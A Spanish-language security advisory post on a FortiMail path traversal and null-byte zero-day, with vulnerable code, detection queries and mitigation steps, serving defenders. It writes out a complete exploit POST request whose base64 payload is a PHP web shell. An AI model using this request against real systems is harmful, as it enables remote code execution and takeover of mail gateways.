CVE-2026-104286: Zero-Day en Fortinet FortiMail por Salto de Directorio y Byte Nulo

Arquitectura de Vulnerabilidad Fortinet FortiMail CVE-2026-104286
📌
Security Roundup Series: Semana del 2 de Octubre de 2026 • 4 min read deep dive
🚨
Vulnerability Intelligence: CVE ID: CVE-2026-104286 (CWE-22 / CWE-158) Severity: CRÍTICA (CVSS 9.8) Status: Zero-Day Explotado Activamente (Añadido a CISA KEV el 1 de Octubre de 2026) Affected Systems: Fortinet FortiMail 8.0.0–8.0.1, 7.6.0–7.6.6, 7.4.0–7.4.8, 7.2.0–7.2.9 Fixed In: FortiMail 8.0.2, 7.6.7, 7.4.9 (Próximamente / Mitigación Urgente por CLI)

El 1 de octubre de 2026, la Agencia de Ciberseguridad y Seguridad de Infraestructura de EE. UU. (CISA) incorporó CVE-2026-104286 a su catálogo de Vulnerabilidades Explotadas Conocidas. Divulgada en el boletín FG-IR-26-175 de Fortinet, esta falla crítica (CVSS 9.8) combina salto de directorio (CWE-22) con neutralización indebida de caracteres de byte nulo (CWE-158) en el módulo de Cifrado Basado en Identidad (IBE) de FortiMail, permitiendo a ciberatacantes remotos no autenticados escribir archivos arbitrarios y ejecutar código en el sistema.

Análisis Técnico de Causa Raíz

La falla se localiza en el servicio web encargado de tramitar registros y validaciones de claves en el módulo IBE. Dicho componente procesa rutas de archivo suministradas por el usuario sin sanear adecuadamente bytes nulos (\x00) antes de invocar llamadas POSIX en lenguaje C:

/* Descompilación conceptual del procesador de subida IBE en FortiMail */
int handle_ibe_upload(http_request_t *req) {
    char target_path[PATH_MAX];
    char *user_filename = get_param(req, "reg_token_path");
    
    if (!user_filename) return -1;

    // ERROR: Verifica prefijo base pero no valida secuencias "../" ni bytes nulos (\x00)
    snprintf(target_path, sizeof(target_path), "/var/spool/ibe/%s", user_filename);
    
    // En cadenas POSIX C, "\x00" trunca la lectura y anula las comprobaciones posteriores de extensión
    FILE *fp = fopen(target_path, "wb");
    if (fp) {
        fwrite(req->body, 1, req->body_length, fp);
        fclose(fp);
        return 0;
    }
    return -1;
}

Cuando un atacante envía una solicitud HTTP especialmente diseñada:

POST /api/v1/ibe/register HTTP/1.1
Host: mailgate.empresa.es
Content-Type: application/x-www-form-urlencoded

reg_token_path=../../../../usr/pkg/apache/htdocs/app/shell.php%00.key&payload=PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==

El byte nulo trunca la verificación de la extensión .key, forzando a fopen() a escribir la web shell decodificada directamente en el directorio raíz del servidor web de administración. Posteriores solicitudes a /app/shell.php ejecutan comandos en el servidor con los permisos del demonio web.

Flujo del Ataque

Atacante Externo
  │
  ├──► [Puerto HTTPS 443 / Interfaz Administrativa FortiMail]
  │      │
  │      ├──► Endpoint: /api/v1/ibe/register
  │      └──► Parámetro: reg_token_path = ../../../[ruta_destino]%00.key
  │
  ▼
[Analizador de Solicitudes IBE] -> Ausencia de saneamiento de Byte Nulo
  │
  ▼
[Escritura en Sistema de Archivos] -> Escritura de archivo PHP en el webroot
  │
  ▼
[Ejecución Remota de Código] -> Persistencia y control de la pasarela de correo

Telemetría e Indicadores de Compromiso

🔍
Consulta de Detección en Registros Web (Splunk / Elasticsearch):
index=fortigate sourcetype="fortimail:log" | where url LIKE "%/api/v1/ibe/%" AND (url LIKE "%%00%" OR url LIKE "%..%") | stats count, values(src_ip) by url, dest_ip

En la consola del dispositivo, busque archivos sospechosos modificados en los últimos días:

find /usr/pkg/apache/htdocs/ -type f -mtime -7 -name "*.php" -ls
find /var/spool/ibe/ -type f -name "*..*"

Mitigación Inmediata

  1. Aislar la Interfaz de Gestión: Restrinja el acceso a los puertos de administración (443, 80, 8443) para que únicamente sean accesibles desde redes internas o túneles VPN autenticados.
  2. Reglas WAF: Implementar reglas perimetrales para bloquear solicitudes que incluyan secuencias %00 o .. dirigidas a rutas de API.

Desactivar el Cifrado IBE: Ejecute en la consola de comandos de FortiMail:

config system encryption ibe
    set status disable
end

Read more

Brecha de Datos Médicos en Photon Health

Filtración en Photon Health: Zero-Day de Inyección SQL en Metabase Expone Recetas Médicas de Pacientes

📌Security Roundup Series: Semana del 9 de Octubre de 2026 • 4 min read deep dive🏛️Incident Overview: Target / Organization: Photon Health, Inc. (Plataforma de Prescripción Médica Digital) Threat Actor / Attribution: Actor Desconocido (Extorsión Financiera) Impact / Records Compromised: Nombres de pacientes, direcciones, números de teléfono, fechas de nacimiento, recetas médicas completas

By James Luther